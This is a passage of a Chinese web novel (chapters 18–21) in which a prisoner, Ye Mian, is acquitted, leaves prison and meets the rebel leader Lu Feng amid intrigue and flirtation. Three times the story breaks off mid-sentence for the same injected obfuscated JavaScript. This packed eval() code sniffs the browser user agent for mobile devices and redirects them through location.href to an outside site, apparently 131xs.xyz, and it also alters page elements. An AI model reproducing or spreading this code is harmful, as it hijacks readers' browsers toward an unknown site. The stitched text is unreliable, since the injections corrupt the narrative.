遇到困难睡大觉:“咋了,生在天家就不能追求民主吗?君主立宪也是君主制。” 沈舒白沉默了。 他开始认真考虑法蒙“生在天家”的可能性。 遇到困难睡大觉:“他让你查过什么家族的事吗?” 沈舒白秒回:“那可多了,议会里的大家族多少都查过,但反抗军里草根占大头,跟政治博弈离得很远,所以信息有限。” 遇到困难睡大觉:“那你可以关注一下,他有没有对某个家族态度比较特殊。事先说好,我不是拱火离间,只是提供思路噢。” 沈舒白拍案:怎会有如此厚颜无耻之徒! 18. 第 18 章 黑兔子的判决下来了,死刑执行,被暂时收押9区。 烟花去见了他一次,这位C监土皇帝上台快下台也快,就像泥鳅遇到龙,原形毕露。 “你后悔吗?”她问。 “有什么可后悔的。” 黑兔子形容狼狈,平日里抹着发胶一丝不苟的头发乱成鸡窝,那张方正的脸上只剩阴郁狠毒之色。 “我只恨自己没有背景,生在平民阶级,往上爬的路太窄了,我过不去。” 烟花摇头:“往上爬的路不止这一条,是你自己走窄了。” 黑兔子大笑,笑到一阵咳嗽:“烟花,你还是这么天真。” 他缓下表情,再次开口:“如果我做不到阶级飞跃,那我的孩子、我孩子的孩子只会更难做到。你看联盟里的那些世袭家族,那些少爷小姐,他们生来就是享福的,但幺儿只能住在这监狱外的村子里……” “幺儿已经死了,魏途。” 狱警之间只称代号,烟花很久没叫过这个名字,发音甚至有些生涩。 “她死在你去生死台下注的那晚上。我值班,你说你带她。” “魏途,你说你带她。她那么小,你把她自己留在休息室。”烟花语气平静,“在7001捧你做局的那些人里,有几个是当年灌过她酒的,你还认得出来吗?” 黑兔子仿佛被掐了脖子一样,话音被堵在喉口。 “你舒坦了吗?” 烟花走出9区的时候,抬头一看,太阳高高地悬着,身上却还有些冷意挥之不去。 幺儿的事她已经很久没去想,现在旧事重提,只觉得往事如风。 ——轻如落羽、又重可透骨。 她想,这座监狱,我是走不出来了。 幺儿投了我家,是我对不起她。 终端响起,她倦怠地看了眼消息。 是医院里的护士发来的,说256号收到了二判,请她一起来见证一下。 是那个掀翻7001的女囚。 这有什么可见证的? 烟花一边心中暗嘲,一边关了终端,而双腿却不自觉地动起来,走向了检查站。 她想,置死地而后生的总是少数,为什么人总会抱着那一丝希望不放呢? - 叶眠拿着二判判决书,直到烟花推门进来。 众目睽睽之下,叶眠缓缓撕开了牛皮纸袋子的封口。 胖子咽了下口水,护士双手交握,烟花手指不自觉在弹匣上敲着。 叶眠抬头,表情古怪地问:“你们为什么比我还紧张?” “闭嘴,快拆!”胖子气急败坏地说。 叶眠瘪了瘪嘴,老实地把里面的文件夹抽了出来。 “一般判决都在最后一页。”烟花及时地说。 叶眠却非要一页一页地往后翻。 护士看不下去了,一把夺了过来,语速飞快:“前面那么多字你这个速度又不是在读墨迹什么?” 纸张“哗啦啦”地飞过,像自由的蝴蝶翅膀。 叶眠没有看判决书,而是老神在在地看着三个人逐渐五彩斑斓的表情。 “无罪……?”烟花呢喃地说。 胖子憋红了脸,一拳打到叶眠肩膀:“你!” 护士也松了一口气,把判决书放回叶眠手里:“呐,得了,你自己看吧,慢慢看,现在没人急你了。” 叶眠“嘿嘿”一笑:“如何,我就说没事吧?” 烟花深深地看她一眼:“你什么时候说你没事了?” 叶眠想了想:“欸?没说吗?不过没说也好,说了不就没有惊喜了?” 烟花坐到她床尾:“有什么惊喜?你无罪出狱,跟我有什么关系。” “烟花,嘴硬心软,”叶眠摇头,“等我出去给你寄东西。当时说了要给你报酬的。” 胖子也大声说:“烟花姐!伟大!无需多言!没你我也就死7001了,从今天开始你就是我亲姐,真的,我也给你寄东西。” 护士举手:“我呢?叶眠?” “包的姐,包的,”叶眠拍胸脯打保证,“你也有份。” 护士拐着该换药的胖子走了,烟花从叶眠膝上抽走了判决书,手指划过纸页。 “黑兔子死刑执行是明天?”叶眠问。 “嗯,明天上午,”烟花垂着眼说,“如果今天这里的字不是无罪,你跟他前后脚的事。” 叶眠一乐:“我跟他又不一样。他伤你心,我可不舍得。” 烟花抬头看她一眼,有点无语:“你哪学的?” “逗你开心呢,”叶眠说,“你脸色太坏了。” “想起一些旧事。”烟花没想多说。 “跟黑兔子有关?”叶眠却追问。 “……他是我前夫,”烟花简短地总结,“我们有个小孩,死了,后来就离了。” “那你现在解脱了,”叶眠的语气有些理所当然,“握不住的沙就扬了它,风吹哪页读哪页。” “你倒是懂得多。” “也不是,”叶眠反驳,“我是亲身经历。” “经历什么?”烟花不以为然。 叶眠指了指自己脑子:“我杀人入狱,又二次犯罪,死刑当头,还失忆了。” “那你也挺惨的。” “人要往前看,烟花姐,”叶眠煞有介事地说,“人背负着过去是为了往前走的,C监需要你,不能让你一直这么消沉。” 烟花想说我哪消沉了,对上叶眠安静却清透的眼神,最后什么也没说。 “记得给我寄东西,”她把判决书拍回叶眠的腿上,“出去之后好好保重,这几天我就不来了。” 法蒙还没回来,黑兔子一死,这是立威服人、重整秩序的最好时机。 “包的。”叶眠比了个大拇指。 * “同事哥~” 沈舒白已经到了看到这个称呼就发怵的程度。 白干全白干:“姐,我说姐,你问的问题能不能不要那么刁钻?” 遇到困难睡大觉:“什么刁钻?怎么刁钻了?” 白干全白干:“比如陆风用哪只手那个……我怎么会知道啊?!” 沈舒白真有点崩溃了。这才几天,失忆卧底版叶绵绵他已经感觉应付不来了。 遇到困难睡大觉:“多多益善嘛,不过我这次不是来问那个的[笑脸]。” 沈舒白脑子一转:“二判判决书到了?” 遇到困难睡大觉:“[对]。陆风什么时候来接我?他要派人还是亲自到?” 沈舒白已经跟指挥使传达了叶眠成功脱罪的消息,后者情绪外露不多,只表示了一下惊讶,看不出有几分重逢的喜悦。 白干全白干:“好像是明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852299|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下午。” 遇到困难睡大觉:“他开什么车?” 白干全白干:“应该就是普通悬浮车。” 遇到困难睡大觉:“我这两个人没问题吧?别坐不下。” 白干全白干:“还有谁?” 遇到困难睡大觉:“一个法格里布[笑脸]。” 沈舒白:? 遇到困难睡大觉:“咋,老大没说吗?” 白干全白干:“……哪个老大?” 做他们这行的可得谨慎。 遇到困难睡大觉:“当然是法蒙啊。” 法蒙的嘴比三代禁制环还严。 沈舒白暗自腹诽,一边打字:“坐得下,但为什么买一赠一?” 遇到困难睡大觉:“那我见到陆风怎么解释我能脱罪?说我色诱法蒙吗?” 遇到困难睡大觉:“法蒙吃色诱这一套吗?[疑问]” 叶眠挠挠下巴,感觉这还真是个接近他的办法。 沈舒白很震撼:叶绵绵怎么能,她怎么能…… 真是情海上岸了? 白干全白干:“……我不知道。” 遇到困难睡大觉:“同事兄弟,看来你的工作,还有大大的提升空间。不过我原谅你[笑脸]。” 沈舒白看着这个黄豆笑脸就感觉浑身刺挠。他把话题绕了回去,仔细地了解了一下叶眠为什么要带法格里布一起,然后对这个安排表示了肯定。 白干全白干:“对了,这个法格里布要送到海蓝星吗?” 叶眠来了精神:“怎么说?” 沈舒白估摸着,就算现在不说,等叶绵绵见到陆风也肯定能查到这些事,所以他一股脑全说了。 白干全白干:“海蓝那块反抗军不归陆风管,根据我们的消息,伊斯坦跟他们是合作关系,人应该都平安,但最近在就营养液生产线的利润问题拉扯不下。” 叶眠拿着终端,晃悠到隔壁胖子的病房,大方地说:“来,你家的消息。” 胖子盯着沈舒白的消息看了一分钟才开口:“我妈呢?伊莉·格林?” 叶眠转述:“伊莉·格林呢?” 那头消失了一会儿,叶眠就陪着胖子揪床单,把床单揪到皱皱巴巴。 终于,消息传来。 白干全白干:“法格里布的当家主母是吧?好着呢。说是在母舰上吃太好,胖了不少。” 叶眠看向胖子。 后者眼里反光,嘴唇稍微发抖,好不容易才憋出一句:“谢谢。” 叶眠想也没想,转发给沈舒白:“谢谢。” 胖子一愣。 叶眠发完才意识到,他好像是跟自己说的。 “没事,也谢谢白干兄弟。” 温情气氛被击碎,胖子心事一扔,脸色阳光明媚。 叶眠挠挠头:“你接着收拾东西吧,我走了。你的无罪证明寄到6区了,我们明天下午走,上午黑兔子死刑,你要去看吗?” “没意思,不如睡懒觉,”胖子拒绝了这个提议,“我上午去跟室友老头告个别。” 叶眠:“好。” 她溜达回自己病房,浑然不知终端那头的沈舒白死死盯着那句“谢谢”,凝固了三分钟。 太阳打西边出来了叶绵绵跟他说谢谢? 当习惯牛马的沈舒白振奋表示,以后一定多关注伊莉的消息。 19. 第 19 章 黑兔子死得无声无息。 狱警内部暗潮汹涌,谁都想趁机会拿点好处,但这些就与即将离开监狱的叶眠没有关系了。 穿过整座监狱,他们跟着狱警来到了整座监狱对外的唯一的出口。狱警检查二人证件的时候,叶眠就眯着眼睛往外看。 荒野里,一台毫不起眼的悬浮车,无声无息地停在大门几百米外,没有丝毫要靠近的意思。 胖子也看到了,有些不安:“我们要见到指挥使了吗?” 叶眠倒是很乐观,嘴上跑火车:“拿出你的斗志,就当是陪诡秘见前男友。” 胖子一只死鱼眼看过来,冷笑一声扭头,根本懒得理她。 他脖子上的禁制环被狱警解下,连着密钥一起收到保险柜里。叶眠羡慕地看着,心里盘算着到底什么时候才能把法蒙解决掉。 ——她也想在火灾梦之外使用异能。 “监狱内的账单,二位怎么付?”狱警查看了终端发来的医院费用清单,抬头问。 叶眠一愣。 法蒙给她送来的终端里,账户余额一直是0,他们甚至完全没讨论过工资这件事。 没办法,她只好戳戳胖子,低声说:“江湖救急,晚点还你。” 胖子的终端刚到手,立刻拿出了作为粮食大家的慷慨:“来。” “可以走了,”狱警确认到账,微笑说,“希望你们改过自新,重新做人。” 胖子连连点头。 叶眠踏出监狱的大门,最后回头望了一眼这座巨大的钢铁牢笼。不管怎么说,这都是她征程的开端,是一切起始的地方。 ——她“美好的”新手村。 “叶眠,我们就这么走过去吗?”胖子还是有点踌躇不前,“你最好有点什么靠谱的计划。” “当然有。”叶眠什么也没拿,两手插兜,不知什么是对手。 她身上只有一套病号服,被风刮到鼓起。 “计划的第一步,是拿下反抗军。” 胖子沉默了一下,真有点好奇她能扯到哪里去:“这是第一步,那最后一步是什么?” “嗯……统一星系?”叶眠说得半真半假。 “得了吧你。”胖子只当她是在开玩笑缓解心情。 几百米的距离很快就拉近了。 因为风大,叶眠想理一理头发,结果手一动才想起来,自己还是个缠着绷带的卤蛋。 那没办法了,只能请陆风看光头了。 叶眠清了清嗓子,敲了敲紧闭的车窗:“嗨。” 过了三秒,车窗摇下一半。 叶眠首先注意到的,是陆风的眼睛——很深邃的桃花眼,瞳孔的棕色在光下更像浅褐,十分温暖且富有感染力的颜色。 他鼻梁上的镜架稍微下滑,这是个抬眼的姿势,显得整个人很是灵动。 “好久不见。”他勾起嘴角。 这一笑,双眼更是放电般的含情脉脉。 叶眠也笑了,笑得比陆风真实两百倍。 谁看到帅哥不想笑?看帅哥延年益寿,看帅哥有益身心健康,看帅哥…… “上车吧。”陆风关上车窗。 胖子:“……就这样?” 叶眠兴致被打断,哼了一声:“先上车。” 胖子默默爬上后座,叶眠拉开副驾驶车门,动作一顿。 男人手肘搭在车门上、单手托脸,墨镜后眼神如丝如缕地缠绕而来,结果满眼深情都落了空。 因为叶眠的注意力完全不在他脸上。 衬衣扣子敞了五六颗,衣领斜斜地开着,下摆扎进裤腰。胸肌喷薄欲出,中缝如裂谷,简直晃眼睛,看得人心痒难耐。 奶窗是好文明,但这也太慷慨了吧? 嗨呀,非礼勿视,非礼勿视。 叶眠满心世风日下、有伤男德,于是好心帮忙,上身前倾。 久别重逢,陆风把叶眠的动作理解成了投怀送抱,心中两分警惕软化为流淌春水。 ——这是他的绵绵。 监狱里的日子不好过,人瘦了点,但还挺有精神。 陆风长臂一揽,叶眠猝不及防被抱了个结结实实。但她控制住了下意识的反击,没挣扎,甚至顺势把手放到他背上,轻轻拍了两下。 陆风一手拢在叶眠腰侧,脸埋进她肩窝,如愿以偿地嗅到了那种令他习惯且心安的味道。 嗯,叶绵绵身上的味道。 他声音带了点哑:“绵绵,我们回家。” 这个拥抱用了些力气,但还没到强制的程度,男人温热的呼吸喷在颈侧,带着点痒。 叶眠能感受到他话里的感情,但姿势实在不太舒服。于是在这样暧昧的氛围下,她头脑完全清醒,甚至回头审视了一下“叶绵绵”和陆风的关系。 单相思?舔狗? 陆风这个反应,怎么看怎么不像“一个巴掌拍不响”。 到底怎么回事? 大热天的,男人的熊抱像是给她揣了个炉子,捂得她喘不动气。 病号服衣领偏大,陆风的嘴唇贴上她肩头皮肤,叶眠立刻用了点力气把他推开。 两人距离拉远,叶眠清楚地看到他眼里那一点诧异和不满——你在拒绝我吗? 叶眠心道,我可不是你的抱抱玩偶。 热风从背后半敞的车门刮进车内,她伸手,摘下了他的墨镜。 这个行为让陆风的眉头逐渐锁紧,他好像有些不自在地眨了两下眼睛,定定地看着她。 真漂亮,叶眠在心中赞美,然后,她把陆风的墨镜戴到了自己鼻尖。 “回家?”她歪了歪头,“所以现在,我不是你的弃子了?” 这个问题横贯在他们之间,决定着之后叶眠面对陆风的态度。 与法蒙见面的第一印象不同,叶眠对陆风的观感明显更好一些。不管叶绵绵跟他之间有些什么情怨纠葛,现在的叶眠只当两人是从新开始。 她愿意给他一个澄清和解释的机会。 但陆风的表情明显冷淡下去。 他没有第一时间取回墨镜,而是仔细地看着“叶绵绵”的眼睛,试图从中找到一丝闪躲和犹豫。 ——没有。 叶眠就是在问,为什么不救我?为什么放弃我? “你确定要在这时候,问这个问题吗?” 他稍微垂眼,拉起叶眠的一只手,握在自己手心稍微摩挲,带着点暗示。 察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881614|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到她的无动于衷,他抬头,最后确认了一遍:“在这个时候?” 他理解,叶绵绵会有些埋怨和别扭。但他以为他们会迅速和好,毕竟之前哪怕是最严重的那一次,她也只是晚回复他的消息半小时。 认识这么多年,她从没真生过气,再过分的要求、再委屈,哄一哄就好了。 她很好哄,又总是那么懂事。 然而现实中,叶眠反问:“为什么不?” 从死刑的子弹下幸运逃生,她该原谅一切吗? 陆风能抛弃叶绵绵,就能再背叛叶眠,她要看清他的态度,以免步入叶绵绵后辙。 “绵绵,”陆风终于开口,不复最初的温和,“你知道,我有我要完成的使命。” 从叶眠脸上拿回墨镜,陆风好像终于回到他的舒适区,语气稍显严肃:“从我父亲开始,你为反抗军做事,到现在,为我做事。因为暗杀收尾不成功,暴露身份,所以进监狱被放弃,这是反抗军的纪律。” 胖子听到这话,忍不住在心中为他默哀:陆风,out。 谁不知道叶眠吃软不吃硬? ……虽然有时候软也不吃,但来硬的,只能说自求多福吧。 “虽然我们关系特殊,但你不要恃宠而骄。”陆风警告地说。 他没有意识到任何不对,仍以为对面的这个人是他所熟知的那个“叶绵绵”。 哦? 叶眠表面露出一个明快的笑容:“这样啊。” 陆风没理解这份突变的情绪,只当她是想通了。 他捡起叶眠的手拉到唇边,轻轻贴了一下,以资奖励:“听话。别让我失望。” 后排胖子自戳双眼:我什么都没看见。 叶眠反手捏住陆风手指,嘴角依然带笑。 目光没有游移,她只是简单牵起他的手,做了一个相同的动作。 不像陆风敷衍似地贴一下就算了,叶眠认真地亲了一亲他的手指,甚至发出一声轻微的响。然后她眼睛弯弯,大发慈悲地从他脸上移开了视线,低头,用拇指搓了搓他的指节。 暧昧且黏稠,带着点若有若无的侵略性。 “开车吧。” 好像什么都没发生过一样,叶眠坐回了自己的位置。她拉上车门,姿态放松,视线投向窗外。 胖子恨自己刚刚没捂上耳朵。 干什么!这是在干什么! 陆风有一会儿完全没反应过来。 在他的认知里,这是不可能出现的事情。与叶绵绵的关系中,无论是感情还是其他,主导者永远是他,叶绵绵只能服从。 但刚刚这段如同交锋的互动,让他后知后觉地感受到一点异常。 陆风的手指微蜷,指节上残留的触感依然灼人。他盯着叶眠的侧脸,重新注意到她头顶、下巴上的绷带,也看到她脖子上黑色的禁制环。 “怎么弄的?”他问。 “监狱里弄的,你不知道?”叶眠根本懒得装。 她跟叶绵绵性格差了十万八千里,还不如敞亮地试试陆风的接受程度,只要她不说自己换了芯子,谁能想到他不是真的叶绵绵? 陆风若有所觉地眯起眼睛。 叶绵绵? 20. 第 20 章 “你做的事有哪件不危险?但这么多年都这么过来了,”陆风语气甚至还带了两分怀念,“蒋仕临终于死了,我心里也算放下了块大石头。” 悬浮车稳稳加速,他没有开自动驾驶,而是手动调出了本地地图,朝着一个方向驶去。 我做的事?叶绵绵不是文职吗? 蒋仕临又有点什么身份? “那,下个任务是什么?”叶眠问。 “父亲的名单上还剩不少人,我们要走的路还很长。你刚出狱,好好休息一下吧,”陆风语气发软,令人牙酸,“陪我几天。” 叶眠舔了舔上牙膛,陪他? “这个法格里布怎么处理?”她完全是公事公办的语气。 陆风评估的眼神扫过后视镜,面对着有些局促的胖子,他微微一笑,十成十的平易近人:“抱歉,我跟我的手下不能在法格里布主家面前露面,也暂时没有心力给你安排身份,可能要暂时邀请你到基地一住了。” “没问题,”胖子即答,甚至有点殷勤,“长官这样安排再好不过,我正想见见母亲。” “嗯?”陆风鼻子里发出一声疑问,“你好像理解错了,我说的基地不是母舰基地,只是暂时落脚的地方。你想去蓝星的话,要等三个月后。” “啊,这样。”胖子讷讷应声,后知后觉汗毛炸起。 ——那不就是……联盟眼皮子底下的反抗军窝子? “三个月后有什么事?”叶眠问。 她也知道自己跟叶绵绵的习惯作风割裂太大,又懒洋洋地补充了一句:“有什么我能做的吗?” “三个月后指挥使换届,绵绵,”陆风的视线若有若无地投过来,带着点探究,“我跟你说过的。” “噢,我把头撞坏了。”叶眠越来越感觉这个借口不错,很扯,但又有理有据。 “你确实变了一些。”陆风这样说着,态度闲适,但也没什么其他的表示。 毕竟,他们相处的时光不能作假。 叶绵绵是他看着长大的,从十四岁到现在。所以他确信叶绵绵会保持忠诚,一如既往,她的感情是最好的锁,不管是入狱前,还是入狱后。 叶眠无声地笑了笑,视线稳稳地落在车外。 从见面到现在,她的一举一动都不是无的放矢。陆风明显对她还有点亏欠之心,所以底线还能再抻一抻,不像法蒙,上来就是“不好好干禁制环就带一辈子吧”,那才是真的没什么拉扯空间。 叶眠稍微走神了一下。 叶绵绵,看到了吗? 你为他做的事,没有得到一分该有的回报。打工陪睡十多年的情分,不够让他折损羽翼捞你一把。 “C监的线人是个边缘小狱警,做不了什么事,”陆风哄她,“你在监狱里受的欺负,等以后给你报。” 叶眠诧异地扭头看他,语气中带了点疑惑:“怎么,反抗军终于准备武力推翻联盟统治了?” 陆风不动声色地哽了一下:“过去这三年我只负责情报,等三个月后换届,如果能争到武装部指挥使位置的话,三年内发起对联盟的正面战争也不是不可能……” 他像是想起了什么:“还需要你的助力。” “不是刚说完让我休息一下?”叶眠笑了一声,“要我做什么?” 陆风的眼神再次扫过后座的胖子:“说服海蓝的法格里布,把营养液生产线建在青砂星。” “不……” “拉米亚纳。”叶眠警告出声,态度少见的严肃。 陆风好笑地摇了摇头。 第一次听到叶眠这么正式地叫他的名字,胖子愣了一下,随后也意识到什么,狠狠抿住了嘴。 故作放肆的叶眠脖子上还带着禁制环,如果她还能空手跟陆风谈上几分情理,那么一直压低存在感的胖子就是完全没有话语权。 在反抗军指挥使的车里,万一他真惹急了陆风,叶眠不一定保得下他。 但,青砂星,是几乎位于帝国联盟交界带的中等星。 如果法格里布的营养液要在联盟内争夺市场份额,理应选择更靠近核心区的星球——无论是营销辐射力还是人才储备都更具优势。 虚假和平不一定能持续多久、战火随时可能重燃。一条投入巨大人力物力的生产线,建在这么偏远的地方,运输成本增加、安防仓储投入拉高,地缘政治影响深远,更不用说其他中间环节的弯弯绕绕。 法格里布会主动自缚手脚吗?这是反抗军在狮子大开口。 “什么时候出发?”叶眠冷声问。 陆风态度玩味,让她有些担心胖子的家人会不会受反抗军挟制。 “这么着急?”陆风反倒不急不慢,甚至有点伤心的意思,“好不容易重获自由,这么急着奔赴下一个岗位?” 叶眠干脆地说:“那让你选。陪你过家家,还是做事。” 陆风这下是真笑了:“伶牙俐齿。” 悬浮车已经进城,陆风的回答暧昧不清,叶眠却已经把所有的注意力都放到了外面。 联盟比她想得……破败一万倍。 夕阳下的城市显出一种雾霭缭绕的模糊感,灯光半亮不亮,所有的建筑都是浸在灰橙色调中,仿佛盖着一层抹不掉的尘土。 “欢迎回来,”陆风降下悬浮车的高度,落到马路上,“首都星下层区8区。” 下层区?那倒不奇怪了。 造型普通甚至有些灰扑扑的悬浮车,混在高峰期车流中毫不起眼。叶眠把贴了反光膜的车窗降下一条缝,闻到了淡淡机油混着烟熏火燎的味道。 有些熟悉。 心底一动,叶眠古怪地想:难道我真是叶绵绵?我也在这种地方生活过? 悬浮车拐过三个街角,天色更暗了。 路灯一闪一闪地亮起来,有些小店也亮起了霓虹门头,偶尔有几人聚堆,劣质香烟拢在身周,路过的人低头绕过,行色匆匆。 “赶上晚高峰了,”陆风把副驾驶的车窗关严,打开车内空气循环,“离毒虫远点。” 后排的胖子从小在正经上层区长大,也没怎么见过这种阵势,他眼睛瞪大,表情有些迷惑,也有些纠结。 “拉米,是吧,”陆风点他一句,“没怎么来过下层区?” 胖子咽了咽口水:“没怎么来过。” “到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890923|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基地之后最好别出门,”他淡淡地说,“你救了绵绵,我承你的情,但别惹事。” 悬浮车拐进了商场停车场,陆风拿出两副机械口罩。 三人沉默无言地进了这座规模不小、岁数也不小的超级商场。 里面人流不算大,地面甚至稍微有点黏脚,叶眠瞥了一眼在室内还戴墨镜的陆风,微微皱眉——那些售货员,关注来人的眼神有点太尖了。 下到负一层,美食街长达几百米,叶眠逐渐不再关注奇怪的店员们,她面如土色地走过灰绿色的大炖锅、发臭的炸货铺、干拌红糖的黏糊面线……这是人吃的东西? 怎么好像跟监狱里的泔水,似乎也差不很多? 美食街尽头拐弯是酒吧街,陆风目不斜视地带着两人走进了最破最小的那个门口。 酒吧里放着当下流行天王的热门歌曲,灯光昏黄、空气憋闷,没有顾客,极度冷清。 擦杯子的调酒师头也不抬:“喝点什么?” “开水冲泡的婴儿奶粉。” “哪档?” “帝国走私。” 调酒师略微一抬头,看了陆风一眼,又好像什么也没发生地低下头去:“八号桌。” 绕过吧台,后面赫然是带着门帘遮挡的小桌。叶眠回忆着暗号,觉得反抗军这些人真有意思。 掀起帘子走进卡座,桌子上的酒单无风自动地翻到了最后一页。 异能? 陆风坦然坐到桌边,叶眠下意识抓住一把椅子,胖子表情惊异,刚想开口,地板一震。 “什么东西啊啊啊啊啊——” 伴随着胖子的尖叫,整块地板垂直下落,如同有轨电梯。 桌椅牢牢固定在地板上,陆风饶有兴趣地看着他的反应,殊不知旁边叶眠也是大吃一惊,艰难维持住脸上的八风不动。 电梯一路到底,发出轻微的“咔擦”声。本来是卡座垂帘的方向,一间金属双开门赫然镶嵌在黑色的水泥墙体中。 陆风拉起那把门锁,手指轻轻一弹,锁环应声而开。 他的异能到底是什么?叶眠有点摸不透。 两扇门向内打开,门后是铺着暗红色地毯的宽敞走廊,陆风一脚踩进,稍微欠身,比了个请进的手势。 “法格里布先生,左手第一间,请。” 胖子没敢动,陆风站直摸了摸下巴,又说:“虽然这边是地下,但我可以保证空气循环比地上更优秀。餐厅24小时开放,在走廊另一头,有任何需要都可以找那边的服务生。在这里你绝对安全,我只有一个要求:别做不该做的事。” 他伸手去拉叶眠的手腕,叶眠脚下没动。 “跟我一间?” 陆风营造暧昧的时候从不遮掩欲望,永远是大大方方的。这种态度很难让人讨厌,因为分寸把握得很好,也确实给出了拒绝的余地。 叶眠想了想,没再犹豫:“走。” 胖子表情从震惊到不解,再到同情:叶眠伟大,无需多言。 叶眠想得倒是简单很多。 她对陆风有所图谋,自然要拉近距离,何况陆风这个质量,怎么说都是她更赚一点吧? 21. 第 21 章 叶眠进门,只来得及看清房间是木制装修,眼前天旋地转,人已经被陆风压到了门板上。 她急促地喘了半声,一只手被陆风按在头顶,四目相望,陆风的半张脸藏在墨镜后,但眼神暗得惊人。 陆风一直觉得自己是很有自制力的人,但面对叶绵绵的时候,那种引以为傲的控制力却经常崩到找不着北。 他低头压近,看到她眼角那颗小痣,贴上嘴唇,又轻轻叼住,咬了一下。 属狗的? 叶眠眼皮微动,这人睫毛很长,细细密密地藏起了所有情绪,也藏起了她最喜欢的棕色瞳孔。 “看我。”她命令说。 陆风明显有些迷惑,但还是抬眼与她对视,叶眠趁机把头顶的左手从他掌下抽出,顺路摘了那副从不轻易下脸的墨镜。 “摘了我的眼镜,又要用光晃我吗?” 陆风模糊不清地说着,带着热度的嘴唇再次落到耳侧。叶眠稍稍闭眼,暗自思索:又?用光晃他? “那,最近好些了吗?” 叶眠声线放柔,左臂自然地环到陆风后颈,牢牢地拿着那副墨镜。右手则带着点眷恋地抚过他的脸颊,拇指蹭到他的眼角,稍微用了点力,把他的脸拉开了一小截。 视线相碰,叶眠再次感叹:好深情的眼睛,像被阳光晒到暖手的漂亮石头。 陆风不习惯地往后退了退,但叶眠一只胳膊还搭在他肩上。她表情温婉,小臂却发力,不许他后撤,轻轻地解释:“刚刚碰到伤口了,有点痛。” “抱歉。”陆风稍微放下心来,再次拉近距离。 额头微微相贴,两人呼吸交错。 气氛正好,他一只手抬起叶眠下巴,深深地吻下去——然后被叶眠两根手指挡住。 感受到手指压在嘴唇上的微小力气,陆风睁开眼,不出意外地还有八分清明。 “还没回答呢。”叶眠松开左手,举了举墨镜。 “老样子。小沈都没办法的事情,我也习惯了,”陆风叹了一声,彻底没了兴趣,“你饿不饿?不饿的话去洗澡吧。” 小沈? 叶眠心里一跳,不知为何第一时间就想起沈舒云。 但沈研究员应该跟反抗军搭不上关系吧,她这个念头一闪即逝。 “等下我给你换药?”陆风贴心地问。 “嗯?没事,不用,过两天就可以拆了,”叶眠客气地拒绝,“我去洗澡。” 等叶眠进了浴室,灯下陆风的表情稍淡,眼中浮现几分思索。 ……感觉不太对劲? - 穿着浴袍出来,面对着三米半的大床,叶眠不客气地占了靠门的一边。 趁陆风进了浴室,她见缝插针地拿出终端问同事哥:“江湖救急!陆风有什么隐疾吗?” 过了一小会儿,回复来了。 白干全白干:“……他不行?” 遇到困难睡大觉:“?” 遇到困难睡大觉:“你怎么回事?” 沈舒白意识到自己是会错意了,立刻端正态度。 白干全白干:“不知道欸[挠头],但他是不是应该有那种随身医生之类的?你直接去刺探一下医生呗。” 沈舒白心道,要是直接告诉你那我不就暴露身份了。 同时,他也有点纠结:到底要不要告诉“失忆”的叶绵绵? ——陆风的眼睛确实有问题。 以前的叶绵绵是知道的,但现在这个叶绵绵会不会把这项弱点反手告诉法蒙,就不是他能猜到的了。 反抗军和革命党之间势同水火,法蒙人在边境几年仍记挂着“剿匪”,陆风更是在成为指挥使之前就放出过“革命党上位就是第二个联盟”的狠话。 如今能达成微妙的平衡,少不了沈舒白在其中斡旋,只是这活越来越难做,从法蒙回到首都星,两人王不见王,苦的都是下面的小卡拉米——比如沈舒白,比如刘仁。 只能说,还好陆风在反抗军没有军队指挥权,法蒙的大部队也在边境没调回来。 沈舒白烦心地抓了抓头发,一转头又收到导师的催促短信——征稿周期过半,他连选题都没定下来。 淦! - “在看什么?”陆风腰间围着浴巾,头发湿着。 叶眠抬眼,就看他发梢的水滴滴答答坠落,像是雕像线条上缀的珍珠线。视线不由自主地被吸引,断续的水珠沿着肌肉|沟壑蜿蜒而下,最终被浴巾边缘吸吮殆尽。 他的胸膛还蒸腾着沐浴后的热气,上身的线条随着呼吸节奏微微起伏。 “我简直要怀疑你是在色诱我了。”叶眠控制不住地提了提嘴角,顺势收起终端。 “这可不太好听,”陆风随手抽了一条新毛巾搓了搓头发,“也不太像你会说的话。” “嗯哼,”叶眠拍了拍身边的床面,“来。” 好像有种古怪的既视感,但陆风没在意。 床面下陷,又回弹些许。 叶眠估摸着,以他这个块头,少说得有个九十公斤,那浴巾不过短短一条,一蹭就掉。她顺手拉过被子给盖住他半身,规避了没必要的麻烦:“注意保护隐私。” 陆风乐了,稍微有点坏心地伸手,勾住她的浴袍系带作势要拽:“那你的隐私呢?” “还以为陆长官是正人君子,”叶眠说着,拍掉他的手,“说正事。” 